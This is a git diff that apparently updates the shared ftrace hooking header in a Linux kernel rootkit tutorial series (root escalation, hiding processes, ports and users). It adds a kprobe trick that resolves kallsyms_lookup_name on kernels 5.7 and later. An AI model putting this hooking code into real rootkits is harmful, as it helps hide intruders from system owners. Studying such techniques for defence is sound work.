diff --git a/3_RootkitTechniques/3.3_set_root/ftrace_helper.h b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h index db0fba2..808453d 100644 --- a/3_RootkitTechniques/3.3_set_root/ftrace_helper.h +++ b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h @@ -8,6 +8,7 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 diff --git a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h index db0fba2..808453d 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h +++ b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h @@ -8,6 +8,7 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 diff --git a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h index db0fba2..808453d 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h +++ b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h @@ -8,6 +8,7 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 diff --git a/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h index 5b5a392..808453d 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h +++ b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h @@ -8,12 +8,30 @@ #include #include #include +#include -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = (_name), \ - .function = (_hook), \ - .original = (_orig), \ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -26,18 +44,21 @@ * protection and implement our own). * */ #define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif /* We pack all the information we need (name, hooking function, original function) * into this struct. This makes is easier for setting up the hook and just passing * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -46,33 +67,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -84,38 +112,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -124,18 +152,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -143,29 +171,29 @@ * */ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); } diff --git a/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h b/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h index 5b5a392..808453d 100644 --- a/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h +++ b/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h @@ -8,12 +8,30 @@ #include #include #include +#include -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = (_name), \ - .function = (_hook), \ - .original = (_orig), \ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -26,18 +44,21 @@ * protection and implement our own). * */ #define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif /* We pack all the information we need (name, hooking function, original function) * into this struct. This makes is easier for setting up the hook and just passing * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -46,33 +67,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -84,38 +112,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -124,18 +152,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -143,29 +171,29 @@ * */ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); } diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h index 1624ce4..808453d 100644 --- a/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h @@ -8,21 +8,28 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; #endif #define HOOK(_name, _hook, _orig) \ { \ - .name = SYSCALL_NAME(_name), \ + .name = (_name), \ .function = (_hook), \ .original = (_orig), \ } @@ -60,6 +67,13 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif hook->address = kallsyms_lookup_name(hook->name); if (!hook->address)